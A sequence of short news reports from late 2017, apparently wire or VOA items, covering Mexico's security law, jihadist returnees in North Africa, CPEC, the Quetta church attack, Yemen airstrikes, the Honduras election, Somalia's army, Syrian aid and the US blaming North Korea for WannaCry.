Im angry about the right wings efforts to instrumentalize this, said Martin Pfaff, who organized the event. Thats why were making clear that racism cannot be an answer to terrorism.
Mexico's National Human Rights Commission (CNDH) may take legal action against a bill that would enshrine into law the use of the army in the country's long war against drug cartels, saying it could ask that the measure be ruled unconstitutional.

Known as the Law of Internal Security, it will formally regulate the deployment of the military in Mexico more than a decade after the government dispatched it to fight drug cartels in a conflict that has claimed well over 100,000 lives.

Bucking widespread protests from rights groups, Congress on Friday gave a green light to the law, which was backed by the ruling Institutional Revolutionary Party and some members of the center-right opposition National Action Party.

It will now head to President Enrique Pena Nieto's desk to be signed into law.

The new law could lead to the "violation of Mexicans' basic rights and freedoms, affect the design and constitutionally established balance between institutions, state organs and powers, and lead to states of emergency being imposed on Mexican society," the CNDH said in a statement late Saturday.

Supporters of the legislation say it will set out clear rules that limit the use of soldiers to fight crime.

Multiple human rights groups and international organizations, including the United Nations, attacked the bill, mindful of the dozens of reported cases of abuses by members of the military in Mexico over the past 11 years. They say it could usher in greater abuses and impunity by the armed forces.

Opponents of the bill have taken to the streets to protest and demand the measure not be signed into law.

The CNDH said it has asked Pena Nieto to make the necessary changes to the bill to make sure it upholds human and civil rights.
North African officials say a large number of foreign recruits who joined the Islamic State in Syria and Iraq have returned to their countries and remain loyal to the extremist organization. They fear the returnees are planning to unleash terrorist attacks in the coming months, adding to a jihadist menace that includes well-entrenched al-Qaida affiliates.



African Union officials estimate about 6,000 Africans who fought for IS either have returned home already or are en route.



Not all will continue with their militancy or engage in insurgency  a large number may have become disillusioned or exhausted by conflict, say analysts. Nonetheless, many will re-engage, adding to alarm over a burgeoning security challenge that was underlined last month in Egypt with a mass bomb-and-gun attack on a mosque in North Sinai that left more than 300 people dead.



Analysts say North African governments have had some success in containing extremist threats. Without better coordination between them, however, they risk merely shifting the danger and allowing militants, who view their insurgency as regional rather than country-specific, to use national borders, over which there are weak state controls, to their advantage.



The states whose territory jihadists operate in need "to become more formidable in governing their vast swaths of land and securing their borders," an analysis by the Foundation for the Defense of Democracies, a Washington-based think tank, argued this month.



But securing coordination between governments that are suspicious of each other and frequently feud is another matter.

Egypt

Egypt has seen increased militant activity in the western desert, with arms and fighters easily crossing into the country from strife-torn neighboring Libya. The western desert has become yet another front for Egyptian security forces, already hard-pressed to contain an IS affiliate in the Sinai, which according to Beverley Milton-Edwards, an analyst with the Brookings Doha Center  a think tank  is an ungovernable space.



"Sinai has been unmanageable for years, if not decades," she said.



So-called ungovernable spaces provide a place from which to generate myriad illicit income streams for the jihadists, allowing them to raise funds from extortion and kidnappings for ransom, along with human trafficking and contraband smuggling.

The FDD in a recent analysis calculated that AQIM has reaped about $100 million through a combination of ransom, drug smuggling, taxes on locals and donations from rich Gulf supporters.

Libya

And across North Africa, a series of ungovernable spaces have created a jihadist corridor for the movement of fighters and weapons, the biggest of which is Libya, a boat ride from the southern shores of Europe and riven by rival governments and militias, where IS fighters also have been flocking.



"The foreign fighters are fleeing and heading home under their own steam," warned Italy's Interior Minister Marco Minniti in a speech last month at Rome's advanced police training academy.



He added, "The danger exists that North Africa can become a refuge [for terrorists] and not just a transit point but a base from which to launch attacks."



Ties to North Africa have linked several of the recent terror attacks seen in Europe, and European counter-terror officials say they are perturbed by the increasing number of attacks that feature links to North African jihadists or affiliates of either IS or al-Qaida.



The suicide bombing earlier this year at a Manchester concert was mounted by British-born Salman Abedi, whose parents are Libyan. He traveled frequently to Tripoli to visit relatives and may have had terrorist training there.



Two of the three London Bridge attackers in June also were from North Africa. Rachid Redouane claimed variously to be Libyan or Moroccan, and Youssef Zaghba was born in Morocco.



It was a Tunisian, whose asylum application had been declined, who drove a truck into a crowded Christmas market in Berlin in December last year, an act of terrorism that left 12 dead.



And the assailants in the attacks in Barcelona in August that left 14 people dead, the worst act of jihadist terrorism in Spain since 2004, had North African links.



Last week, testifying before a U.S. Senate panel, the U.S. coordinator for counterterrorism, Nathan Sales, warned that jihadists are developing networks across North Africa in the wake of the collapse of IS in Syria and Iraq, posing a threat not only to the region, but to nearby Europe.



He argued that the brutal and long insurgency waged in Algeria by the Groupe Islamique Arme (GIA) in the "black decade" of the 1990s underscored the risks posed by returning terrorist fighters.



"We also remain concerned about al-Qaida's affiliates in the region, especially al-Qaida in the Islamic Maghreb [AQIM], and their growing reach into other parts of Africa", Sales told the panel.
Officials in Pakistan say a Chinese proposal to replace the U.S. dollar with yuan for bilateral trade is under consideration.

Beijing has already committed to investing around $60 billion in the country by 2030 under a long-term plan of development cooperation with Islamabad, known as the China Pakistan Economic Corridor, or CPEC.

Bilateral trade between the two countries stood at around $14 billion in 2015 to 2016. Officials anticipate the trade volume is likely to increase significantly under ongoing CPEC cooperation.

Pakistan Interior Minister Ahsan Iqbal, who has also been overseeing CPEC implementation, revealed for the first time this week China is seeking bilateral trade in its own currency, known as Renminbi, RMB, or yuan.

We are examining the use of RMB instead of the U.S. dollar for trade between the two countries, Iqbal said and added the use of Chinese currency would benefit Pakistan. But he went on to explain the Pakistani currency would be used domestically.

The State Bank of Pakistan has already declared Yuan as an approved foreign exchange for all purposes in the country.

China is helping Pakistan build power plants, develop the southwestern port of Gwadar on the Arabian Sea, construct a network of roads, rails and communications, industrial parks, agriculture and tourism along the CPEC route.

CPEC investment

The two countries launched CPEC in 2015 when Chinese President Xi Jinping visited Pakistan to sign a number of agreements initially estimated at around $46 billion.

I am happy to say that so far more than $27 billion worth of investment has been energized. It is either under implementation on ground or its financing has been secured, Iqbal told a ceremony Monday in Islamabad while unveiling details of the long-term plan under CPEC.

He praised the investment as one of the great success stories of recent times that within such a short period of time so much investment has been mobilized between any two countries.

China has declared CPEC as the flagship project of its Belt and Road Initiative that aims to build new land and maritime trade routes connecting more than 60 countries in Asia, Europe and Africa.

Chinese investment has already seen completion of several power plants in Pakistan, where energy shortages, until recently, would lead to power outages of up to 20 hours a day in parts of the country.

Chinese and Pakistani officials say the crisis is being resolved and there will be even surplus power in the coming few months in Pakistan.

CPEC will ultimately link landlocked western Chinese regions to Gwadar port, giving Beijing a secure and much shorter access through Pakistan to import fuel and export products to markets in Asia, Europe and Africa, in return for bringing infrastructure and economic development in Pakistan and addressing its energy crisis.
Quetta, the provincial capital of Pakistans restive province Baluchistan, was once again in the news worldwide after two suicide bombers stormed a crowded church on Sunday afternoon. Nine Christians were killed in the attack, and scores were injured.

Islamic State claimed responsibility for the attack through its mouthpiece Amaq News Agency but did not provide any evidence that supported the claim.

Military experts in Pakistan believe there had been a surge in terror activities in Baluchistan lately but say there is little or no evidence that establishes IS' existence in the province.

The so-called IS has a prominent presence in Afghanistan, which shares a long and porous border with Baluchistan.

When we talk about Baluchistan, do not forget its geographical complications. Its a remote area with less population. It shares borders with Iran and Afghanistan, which makes infiltration of terrorists easy, Hasan Askari Rizvi, a prominent Lahore-based defense analyst, told VOA.

The breakaway Taliban groups in the region are reuniting and reorganizing and using the name of Islamic State. They are targeting minorities and using IS name to get worldwide attention, Askari further added.

Shazada Zulfiqar, a Quetta-based senior journalist, holds a different view and believes IS has, through its sympathizers and supporters, managed to make roots in Baluchistan.

Lashkar-e-Jhangvi (leJ) and Jamaat-ul-Ahrar (JuA), the Pakistani Taliban faction, has an established presence in this province. These groups provide manpower to each other and also to the Islamic State, Zulfiqar told VOAs Urdu service.

Although the government claims IS has no existence here, it certainly has roots through its affiliates and sympathizers. They are supported by the local people too, unfortunately, Zulfiqar added.

Violence concerns analysts

Despite statistics showing a considerable drop in overall terrorism in Pakistan in the recent past, the surge in violent activities in Baluchistan alarms some analysts.

The latest attack on Quettas Bethel Memorial Methodist Church underlines the danger of terrorism and also how these terror groups have support, facilitators and sympathizers in Baluchistan, Askari said.

After the church attack in Quetta, the provincial government pledged again to curb militancy and enhance its capabilities to fight terrorism effectively.

Baluchistan is in a state of war, Sanaullah Zehri, Baluchistans chief minister told the local media after paying a visit to the Christians graveyard in Quetta. We are executing plans to strengthen the police and security departments to ensure safety of our citizens, which is our top most priority.

But to some critics, these official statements mean little unless the government takes effective action against active terrorist groups in the province.

The government says they have eliminated terror groups from the province but only after such incidents they realize these terror groups have a solid presence. People are still joining them, theyve resources and established networks, Zulfiqar told VOA. Whos responsible?

Security upgrade

Pakistans government, on the other hand, says it is wary of the chaotic and precarious situation of Baluchistan and is increasing security presence in the region.

Pakistans Interior Minister Ahsan Iqbal told VOA in May that a force of 9,000 security personnel under Pakistans Army has been deployed in Baluchistan to provide security.

Pakistan also accuses Afghanistan and India of spreading terror and chaos in Baluchistan. Pakistan maintains India specially wants to sabotage the China-Pakistan Economic Corridor. Kabul and New Delhi deny these charges.

Baluchistan is the heart of the $50 billion Chinese investment through China-Pakistan Economic Corridor (CPEC), which will connect Chinas Xinjiang region to Gwadars deep-water seaport in Baluchistan with a huge rail, road, communication and energy network.

Brig. Farooq Ahmad, the former spokesman of Pakistans Army media wing in Quetta, shares these concerns.

Quetta is like a war zone where terrorists from Afghanistan and (the) Indian spy agency RAW are involved in violent activities. This is a plan to destroy the CPEC plan, Ahmad said.

Largest province

In terms of area, Baluchistan is Pakistans largest province. It has abundant natural resources such as oil, gold, gas and copper reserves, but lacks basic infrastructure and necessities of life.

It is also facing an insurgency from Baloch separatists and nationalists who are fighting to liberate Baluchistan from Pakistan.

Apart from Baloch nationalists, many terrorist groups operate in the region, including Lashkar-e-Jhangvi, an anti-Shiite militant group, Tehreek-e-Taliban Pakistan (TTP) and Jamaat-ul-Ahraar (JuA).

Unless the government provides a sense of belonging and job opportunities to the long-deprived Baloch residents, there is little hope the situation will change in Baluchistan, analysts say.

VOA Urdus Abdul Sattar Kakar also contributed to the story.
South African media are reporting that Olympian Oscar Pistorius is appealing his recently lengthened prison sentence for the murder of girlfriend Reeva Steenkamp.



Broadcaster EWN reports that Pistorius filed an application to the Constitutional Court on Tuesday.



The Supreme Court of Appeal last month more than doubled Pistorius' sentence to 13 years, calling the initial six-year sentence "shockingly lenient."



Now the earliest the double-amputee runner will be eligible for parole is 2023.



Pistorius killed Steenkamp in the pre-dawn hours of Valentine's Day 2013 after shooting four times through a closed toilet cubicle door with his 9 mm pistol. He claimed he mistook the 29-year-old model and reality TV star for an intruder.
Nearly two-thirds of Americans have a favorable view of the U.S. economy, according to a new poll, even as they give President Donald Trump negative reviews for his handling of the world's largest economy and an array of other issues.

In its latest poll, Quinnipiac University said 63 percent of voters consider the U.S. economy to be "excellent" or "good," while 34 percent say it is "not so good" or "poor."

Three-fourths of voters described their own financial situation as "excellent" or "good," while a quarter had a negative view of their personal financial situation.

The pollster said voters, by a 51 to 44 percent margin, disapprove of Trump's handling of the economy. By a narrow margin, 45 to 43 percent, voters say that former President Barack Obama deserves more credit than Trump for the favorable state of the U.S. economy. The current 4.1 percent jobless rate is at a 17-year low and stock market indexes are at all-time highs.

Overall, Quinnipiac said voters, by a 59-37 margin, disapprove of Trump's White House performance 11 months into his presidency, almost identical to Gallup's 59-36 negative reading on Trump's tenure.

By wide margins, the pollster said Americans do not think Trump is honest. They believe he does not have good leadership skills, does not care about average Americans, is not level-headed and does not share their values. But Quinnipiac said that by a 57-40 margin, Americans view Trump as a strong person, and by a 52-45 edge, that he is intelligent.

The poll gives Trump negative reviews for his handling of foreign policy, terrorism, immigration, health care and tax policy, even as Congress is set to approve a $1.5 trillion tax cut over the next decade, Trump's first major legislative victory.

Quinnipiac said that by a 50-46 edge, voters think Trump should resign in the wake of sexual misconduct allegations more than a dozen women made against him during the 2016 presidential election campaign. Trump has repeatedly said the accusations are unfounded and the White House has said voters were aware of the allegations when they cast their ballots and decided to elect him anyway.
The United Nations human rights office reports that Saudi-led coalition airstrikes have killed at least 136 Yemeni civilians and injured 86 over the past two weeks.

This surge in civilian casualties follows the killing of former Yemeni president Ali Abdullah Saleh in the capital of Sanaa early this month. Saleh was killed by Iranian-backed Houthi rebels angry at his peace overtures to Saudi Arabia.

Saudi Arabia's counter attack has been relentless. U.N. human rights spokesman Rupert Colville says in the period from December 6 to 16, the Saudi-led coalition has carried out numerous airstrikes against Houthi targets.

These include a TV channel, a hospital and a prison compound packed with detainees. In one incident, he says a woman and her nine children returning home from a wedding party were killed in a coalition airstrike.

We urge all parties to the conflict to respect their obligations under international humanitarian law, including their obligation to respect the principles of distinction, proportionality and precaution," said Colville. "They should take all feasible precautions to avoid, and in any event to minimize, the impact of violence on civilians.

Colville says there have been so many incidents of this kind involving civilians in Yemen it would be hard to conclude that war crimes have not taken place.

He says his office also is concerned about reported violations by Houthis against members of former President Salehs political party, the General Peoples Congress, including attacks and arbitrary detentions.

Houthi rebels on Tuesday reportedly fired a ballistic missile near the Saudi capital, Riyadh, which was intercepted by the Saudi-led coalition. No casualties have been reported.
Saudi air defenses have shot down a ballistic missile fired at Riyadh by Yemen's Houthi militia group. Saudi Arabia and the United States have accused Iran of supplying ballistic missile technology to the Houthis.

Amateur video showed a salvo of the fourth-generation Saudi Patriot missiles being launched at the approaching ballistic missile, before blowing it up in a cloud of smoke over the skies of the capital, Riyadh. Debris from another missile fired from Yemen landed close to Riyadh's international airport in November.

The Houthis' Al-Masirah TV said the missile was meant to strike a gathering of top Saudi leaders at the al-Yamama royal palace in Riyadh. Saudi King Salman and his ministers were meeting Monday to discuss the kingdom's finances.

Saudi-owned al-Arabiya TV reported that the Patriots, capable of monitoring 50 threats at once, could detect the approaching missiles from a distance of 80 kilometers.

Regional analyst Mustapha al-A'ani of the Gulf Research Center told al-Arabiya the Houthis have "neither the expertise to put the missile stages together, nor the expertise to fire them." He alleged that 250 Iranian experts are helping the Houthis with their missile program.

Arab media have repeatedly accused Iran of smuggling weapons to the Houthis from its port of Bandar Abbas, across the Persian Gulf. Mustapha al A'ani accused the Houthis of using Iranian-built "Zilzal 3," and "Qiam 1," missiles to attack Saudi Arabia.

American University of Beirut professor Hilal Khashan tells VOA he questions whether the ballistic missiles being used in the recent attacks were from Iran.

"The Iranians support the Houthis to the best of their ability, but the Houthis were able to seize the military arsenal of [former Yemeni President] Ali Abdallah Saleh, especially after the fall of Sanaa and the failure of his [recent] coup. They seized huge amounts of weapons that include SCUD missiles."

Khashan said he thinks it "likely that the Iranians may have upgraded the missiles," and that he believes the Houthis could have "up to 500 SCUD missiles in their arsenal." The Houthis have fired close to 100 ballistic missiles at Saudi territory during the past year, according to al-Arabiya.

Iran supports the rebels, but denies supplying them with weapons. Iran has also criticized Saudi Arabia for its military campaign in Yemen, and what it called "regional bullying."

Iranian links

In New York, the U.N. Security Council heard its semi-annual briefing on the implementation of the resolution endorsing the 2015 deal to prevent Iran building a nuclear bomb. U.S. Ambassador Nikki Haley used the session to raise the issue of alleged Iranian arms transfers to Yemen  which if verified, would violate both an international arms embargo against the Houthis and one against Iran.

While we dont yet have sufficient insight into this particular attack, it bears all the hallmarks of previous attacks using Iranian-provided weapons, Haley told council members. Irans destabilizing behavior is only growing; it will continue to grow unless we raise the cost of defying the international community, she added.

The U.S. envoy said there are several options the council could pursue to pressure Iran. They include strengthening provisions in the resolution endorsing the nuclear deal; adopting a new resolution making clear that Iran is prohibited from all ballistic missile activities; and the possibility of sanctioning Iran for violating

Last week at a military base in Washington, D.C. Haley showed reporters what she said was debris from a short-range missile of Iranian origin recently fired by the Houthis into Saudi Arabia.

VOA's U.N. correspondent Margaret Besheer contributed to this report.
A senior Honduran government official ruled out a new presidential election on Monday, the day after the Organization of American States called for one following a contentious vote that has sparked violent protests.

Electoral authorities said on Sunday that U.S.-friendly President Juan Orlando Hernandez won the Nov. 26 election after partial recounts of voting tallies did not tip results in favor of his opponent, TV host Salvador Nasralla, despite widespread allegations of irregularities.

Hours later, however, the OAS said the process did not meet democratic standards.

First Vice President Ricardo Alvarez flatly rejected the call for another vote.

"The only other elections there are going to be in this country will be on the last Sunday of November 2021," he said.

"This is an autonomous and sovereign nation," Alvarez told reporters. "This is a nation that is not going to do what anybody from an international organization tells it to do."

Hernandez, who is mourning the death of his sister in a helicopter crash over the weekend, has not yet commented on the call for new elections.

Nasralla leads a center-left coalition that seemed headed for a surprise upset in the hours after the election, but results suddenly stopped coming in. When they restarted, the outcome began to favor the incumbent.

Opposition politicians hurled accusations of voter fraud at the government, and Honduran military police fired tear gas at protesters, who burned tires and attacked buildings.

Adding to the confusion, European Union election observers on Sunday said the vote recount showed no irregularities. Like the OAS, the EU observers monitored the electoral process in Honduras.

EU chief monitor Marisa Matias said on Monday it was beyond her team's mandate to say whether there should be a new election, saying that up to two months would be needed to finish a final report.

Nasralla Says He Will Win Again

Nasralla met with OAS Secretary General Luis Almagro and a senior State Department official in Washington on Monday.

Nasralla said he was ready for new elections, even though he claimed to have won the first time by half a million votes.

"I'm sure I will win again," Nasralla said, after handing more material purportedly showing fraud to Almagro.

John Creamer, U.S. deputy assistant secretary of state for the Bureau of Western Hemisphere Affairs, told Nasralla the State Department was studying both the OAS and EU reports and did not speak in favor of or against new elections, Tony Garcia, an adviser to the candidate present in the meeting, told Reuters.

The U.S. State Department issued a statement urging Honduran political parties to raise any concerns about the election using what it said was a legal provision establishing a five-day period for presenting challenges to the results.

"We call for all Hondurans to refrain from violence," it said.

Honduran rights groups say 20 people have been killed in the protests, almost all by bullet wounds.

Furious that Hernandez had been declared the winner, protesters clashed with police in Tegucigalpa, the capital, blocked roads around the main port and partially burned a courthouse and bank branch in San Pedro Sula, Honduras' second-largest city.

Honduras has been roiled by political instability and violent protests since the election. The count has been questioned by the two main opposition parties, including Nasralla's Opposition Alliance Against the Dictatorship, as well as a wide swath of the diplomatic corps.

The OAS statement described irregularities, including deliberate human intrusions in the electoral computer system, pouches of votes opened or lacking votes, and "extreme" improbability around voting patterns it analyzed, making it "impossible to determine with the necessary certainty the winner."
Since September 2017, al-Shabab militants have overrun four Somali government military bases, killing more than 60 soldiers and seizing large quantities of weapons. Now, a military assessment by the Somali government found some of the troops manning these bases are completely unarmed.



The "Operational Readiness Assessment" conducted by the government found that approximately 30 percent of the soldiers in the bases do not have weapons. The evaluators said some units also lack medium and heavy weaponry, and some are "undermanned."



On Tuesday, Somali Defense Minister Mohamed Mursal Sheikh Abdirahman acknowledged the army's shortcomings.

"There are some who are not armed. We are working to complete their equipment but a majority of them have weapons," he said in an exclusive interview with VOA's Somali service.



He also admitted "gaps" in the number of soldiers in military bases.



"When we were conducting this assessment we did not announce and say people have to report for this assessment, we only went there and assessed those ready in their bases, their training and equipment," he said. "There are gaps, there are brigades which are undermanned."



Abdirahman said the number of soldiers on the payroll of the Somali National Army is 26,000 but added that number includes retired and older soldiers, the disabled and orphans.



Reliable military sources told VOA that the actual number of soldiers on duty is far lower, possibly fewer than 10,000.



The assessment commissioned by Prime Minister Hassan Ali Khaire was conducted between August and September and was submitted to government leaders in November.



Al-Shabab gains

Al-Shabab overran government bases in the towns of Bulogudud, Beled Hawo, El-Wak and Barire in September. Abdirahman said government soldiers didn't have the artillery, heavy machine guns and shoulder-fired missiles to push back Shabab fighters as they stormed the bases.

He said infantry units need artillery, some mounted on trucks, others pulled by trucks and shoulder missiles to enable soldiers to fight from a long distance before the enemy comes into close proximity.

"An army needs to be able to defend itself from 4-5 kilometers away from the base," he said. "We don't have that type of weapons of artillery and missiles. Likewise, we don't have helicopters that can provide air support that can fire missiles at enemy positions to prevent attack and destroy threats at its place."



Abdirahman blamed the United Nations arms embargo on Somalia for the lack of these weapons, saying the embargo is tying the hands of Somali soldiers.



"[T]he international community must allow Somalia to have this weaponry," he said. "They don't have to lift it in one day but gradually; there has to be a mechanism for Somalia to acquire and buy these weapons and to arm its soldiers."



The assessment also found the SNA constrained by a lack of communication, vehicles and shelter, with some soldiers living in bush perimeters with no sentry positions.

Aid suspension



Last week, the United States said it is suspending aid for much of Somalia's armed forces over corruption concerns. A State Department official said the "pause" in aid is being made "to ensure that U.S. assistance is being used effectively and for its intended purpose."



The current Somali government, which blame previous administrations, said the fact it conducted an assessment shows its commitment to improving accountability as well as conditions for the soldiers.



The government has announced plans to build a force of 22,000 soldiers that can take over security responsibilities from the African Union Mission in Somalia, AMISOM, which has begun to draw down its troops.
A high-level forum to revive South Sudan's 2015 peace agreement is underway in Addis Ababa, Ethiopia  and the stakes could not be higher.

The internal conflict that began four years ago has driven two million people from the country and left more than a million others a step away from famine, according to the United Nations.

The peace agreement signed in Addis two and half years ago fell apart in July 2016 after clashes between supporters of President Salva Kiir and rebel leader Riek Machar left hundreds dead in the capital, Juba.

International Crisis Group senior analyst Casie Copeland says power-sharing and security arrangements will be the key objectives of this meeting. Copeland notes that East African bloc IGAD has made it clear the forum is not a mediation or a new round of peace talks, although the parties all want something different.

Rebel groups and most Western countries want the forum to be a new mediation. The goal for them is to create a new power-sharing arrangement, which significantly weakens the governments hand in favor of different opposition groups, Copeland tells VOA.

The government, on the other hand, is quite keen that the existing arrangements are only slightly modified and that they remain in a powerful position. Their argument being that they are the militarily dominant party in-country, so why should they give power-sharing to rebels that have not been particularly successful?"

Copeland says IGAD is put in the middle, trying to balance these demands.

Cease-fire possibility



Part of revitalizing the 2015 peace deal is having the parties agree to a cessation of hostilities. But Aly Verjee, a visiting expert at the United States Institute of Peace, is skeptical that will happen.



Conventional cessation of hostilities agreements have been repeatedly attempted in South Sudan, and similar arrangement is unlikely to succeed where others have failed, said Verjee. Merely incorporating the new armed actors in a cessation of hostilities is insufficient for violence to end... Let's not forget the government declared a unilateral cease-fire in May of this year, which was extended in November, and yet violence perpetrated by government forces continued.



South Sudan analyst Alan Boswell notes that the peace deal was signed between two parties, but since that time, the opposition has fragmented, making the task of the peace mediators even more challenging.

It is not just that all the opposition groups want to take power themselves; they actually have different positions, in as much as the SPLA-IO under Riek Machar has been primarily interested in sort of taking power through elections after the rebellion failed in Juba, said Boswell. Whereas some of these other groups are more interested in sort of forcing a restructuring of South Sudan and gaining more local autonomy, away from Juba.



Copeland says the forum is focused on conflict prevention as well as resolution, but warns that an election scheduled for next year could present new problems.

If it is held next year, none of the groundwork has been done for it, and we may see competition within the government or amongst groups that have made a peace agreement with the government over who is going to stand as candidates in different places," she says. " And so the election itself poses a set of conflict risks that do not exist right now."


President Donald Trump has nominated a career foreign service member, Susan Thornton, as top U.S. diplomat for East Asia.

Thornton has been serving in the position in an acting capacity since soon after Trump took office.

The White House announced Tuesday Thorntons nomination to become assistant secretary of state for East Asia and the Pacific. The appointment requires Senate confirmation.

Its among many senior State Department positions unfilled nearly a year into Trumps term. Among its responsibilities are relations with China and nuclear-armed North Korea.

Thornton joined the department in 1991 and has been posted previously in China and former Soviet republics.

Secretary of State Rex Tillerson has long supported Thorntons nomination as assistant secretary but had faced White House opposition, including from former Trump chief strategist Steve Bannon.
A lawyer President Donald Trump nominated to be a federal judge has withdrawn his name days after his Senate confirmation hearing.

"I hoped that my nearly two decades of public service might carry more weight than my two worst minutes on television," Matthew Petersen said in his letter to the president. "It has become clear to me over the past few days that my nomination has become a distraction, and that's not fair for you or your administration."

Petersen is a lawyer on the Federal Election Commission.

During questioning from the Senate Judiciary Committee, Petersen admitted he has never tried a case in any courtroom, stammered while answering questions, and was unable to define some basic law terms.

"Just because you've seen My Cousin Vinnie doesn't qualify you to be a federal judge," Republican Senator John Kennedy told a Louisiana television station. He was referring to a 1992 comedy film about a lawyer with almost no trial experience.

Petersen is the third Trump nominee to the federal bench in the past week not to make it past the judiciary committee.

Brett Talley was rejected for positive comments about the Ku Klux Klan he allegedly wrote and for failing to disclose that his wife works in the White House.

CNN reported that another nominee, Jeff Mateer, had once made a speech in which he called transgender children part of "Satan's plans."
Debate on age limits and term length for the president of Uganda came to a sudden halt Tuesday when a lawmaker reported seeing soldiers on the premises. The allegation led to a scuffle between legislators and parliamentary police. The legislature was already on edge because of the proposals being discussed.

Parliament is debating a bill that would abolish the age limit for 75 presidential candidates, a move that would enable longtime President Yoweri Museveni to run for another term in the 2021 election.

Opposition lawmakers and some members of the ruling party object to the bill, and debate that began Monday has been tumultuous. On Monday, shouting and chair-throwing forced Speaker Rebecca Kadaga to suspend six members of parliament.

Business came to a standstill again Tuesday after legislator Doris Akol told colleagues she had seen soldiers in parliament's Catholic chapel.



For me, I am shocked. I am really really shocked. When I got there, both the Catholic and the Anglican chaplaincies were occupied by soldiers. They were eating from there. They have disorganized the whole place," Kadaga said.

Members of the opposition, many wearing or holding rosary beads, then tried to enter the chapels but instead engaged in a scuffle with security officers who blocked them.

Last week, Kadaga issued new security guidelines that among other things stated parliament is a civil institution that should be guarded only by police, and that other security forces should stay away.

When debate resumed after the scuffle Tuesday, Kadaga demanded an explanation.

So, I want to know, who are those people there? And I want the minister of internal affairs to explain who they are and they should apologize to this house, if you brought people here without my knowledge. I told you I want to know who is here for the civility of this institution. So I want to know if they are parliamentary police, why were they eating in the chaplaincies. What is their business in the chaplaincies? If they have come to pray, you dont eat," Kadaga said.

General Jeje Odong, the minister of internal affairs, said the officers were police, not military, and insisted they were not eating in the chapel.

Legislators are currently giving their views on reports in favor and against the proposal to abolish the age limit. They are also debating whether terms for the president and parliament members should be increased from five to seven years.

It is not clear when the proposals may be put to a vote.
The U.N. Security Council approved cross-border aid deliveries to Syria for another year Tuesday, despite some concerns from Russia.

The renewed authorization will help the United Nations and its partners get life-saving aid to more than three million people in northern and southern parts of the war-torn country.

The resolution was adopted with a vote of 13 in favor and three abstentions - Russia, China and Bolivia.

The Russian envoy, Vladimir Safronkov, said when the council mandated cross-border deliveries in 2014, it was intended as a temporary measure, implemented during a heightened phase of the armed conflict.



"Today the situation in the country has changed radically and the mechanism for cross-border deliveries remains a legacy of the past," he told council members. "We think it is important to gradually roll down this rudimentary scheme which has worked for Syria's division."

U.N. humanitarian chief Mark Lowcock welcomed the continuation of the measure in place since 2014, saying cross-border deliveries are a vital part of the humanitarian response in Syria, where 13 million people are in need of assistance.

"More than 650 trucks have this month delivered food assistance to over 900,000 people through cross-border operations, as well as health assistance for nearly one million treatments," Lowcock told the council.

Sweden, which along with Egypt and Japan co-sponsored the resolution, said the extended mandate would save lives and alleviate suffering.

"It is not every day that this council takes decisions that have a direct impact on the people affected by conflict," Swedish ambassador Oloof Skoog said. "Today is such a day."

But as the council heard Tuesday, aid access continues to be problematic, erratic and insufficient, particularly in areas classified as besieged and hard to reach.

"In November, only five cross-line convoys were able to deploy, reaching 200,250 people in hard-to-reach locations and 28,700 people in besieged locations out of a total besieged population of more than 400,000 people," the humanitarian chief reported. "So far in December, none  none  of our convoys have made it to any of the besieged locations."



"Who can seriously argue that the humanitarian situation in Syria has improved?" French envoy Francois Delattre noted to reporters. "When we renewed this resolution last year, 10 million people in Syria needed humanitarian aid. Today they are 13 million."

Eastern Ghouta

The situation is particularly dire in Eastern Ghouta, which lies about 15 kilometers east of Damascus. Despite being designated as one of four de-escalation zones where hostilities were to be suspended for six months, the U.N. says that except for a pause of two days, there have been intensive air and ground-based strikes daily since mid-November.

Government forces are besieging nearly 400,000 people in the rebel-controlled enclave and only tiny amounts of aid have been allowed in. The U.N. says that acute malnutrition rates among children in Eastern Ghouta are the highest recorded in Syria since the start of the conflict seven years ago.

Aid chief Lowcock said 500 people require urgent medical evacuation, including 137 children. Sixteen civilians have died waiting for the government to authorize their transfer to a Damascus hospital, just a 30-minute drive away.

"The Syrian government's 'starve-or-surrender' tactics aimed at besieged civilians across the country are not only war crimes but are like a nightmare from the Middle Ages," Louis Charbonneau, U.N. director at Human Rights Watch, said in a statement.
The U.S. State Department is calling for the release of two Reuters journalists arrested last week in Myanmar.

"We're deeply concerned about their detention," department spokeswoman Heather Nauert said in Tuesday's news briefing. "Today, I want to make it clear that we're calling for their immediate release."

On Monday, a spokeswoman for European Union foreign affairs chief Federica Mogherini also urged Myanmar to release the reporters "as quickly as possible."

Last week, the U.S. Embassy in Myanmar said in a statement that there had been no word from Wa Lone, 31, and Kyaw Soe Oo, 27, since their December 12 arrests, and authorities have not allowed their families to visit.

The two were working on stories about a military crackdown in Rakhine state, home to the ethnic minority Rohingya. The action has driven an estimated 600,000 Rohingya Muslims into neighboring Bangladesh.

The journalists went missing after being invited to dinner with police on the northern outskirts of the capital, Yangon. Myanmar's Ministry of Information said the reporters "Illegally acquired information with the intention to share it with foreign media."

The ministry released a photo of the two men in handcuffs, although it has not officially notified Reuters of their status. A court official in Yangon told Reuters the men could be held for as long as 28 days without being charged.
The United States asked the United Nations Tuesday to blacklist 10 ships that carried banned items from North Korea.

The vessels, including two Hong Kong-flagged ships and two North Korean tankers, are accused of conducting illegal ship-to-ship transfers of refined petroleum products to North Korean vessels, or illegally transporting North Korean coal to other countries for exports, according to the U.S. proposal.

If none of the U.N.'s 15 Security Council member states reject the proposal by Thursday, it will be approved  meaning that all countries will be required to ban the blacklisted ships from entering their ports.

The Security Council blacklisted four vessels found carrying North Korean coal, seafood and iron ore in October.

Under sanctions imposed on North Korea in response to its missile and nuclear tests, the U.N. has banned coal, iron, lead, textiles and seafood exports, has also restricted joint ventures and blacklisted a number of North Korean companies.
The United States is publicly blaming North Korea for unleashing a cyber attack that crippled hospitals, banks and other companies across the globe earlier this year.

In an op-ed piece posted on the Wall Street Journal website Monday night, Homeland Security Adviser Tom Bossert said that North Korea was "directly responsible'' for the WannaCry ransomware attack, and that Pyongyang will be held accountable for it.

"The attack was widespread and cost billions, and North Korea is directly responsible," Bossert writes. "North Korea has acted especially badly, largely unchecked, for more than a decade, and its malicious behavior is growing more egregious."

Bossert says President Donald Trump's administration will continue to use its "maximum pressure strategy to curb Pyongyang's ability to mount attacks, cyber or otherwise.''

Pyongyang has previously denied being responsible for the attack.

But, the U.S. government has assessed with a "very high level of confidence" that a hacking entity known as Lazarus Group, which works on behalf of the North Korean government, carried out the WannaCry attack, senior officials told Reuters.
The U.S. House of Representatives will vote Tuesday on a Republican $1.5 trillion tax bill that will provide tax relief for most Americans, but benefit the wealthy the most, according to a non-partisan tax analysis group.

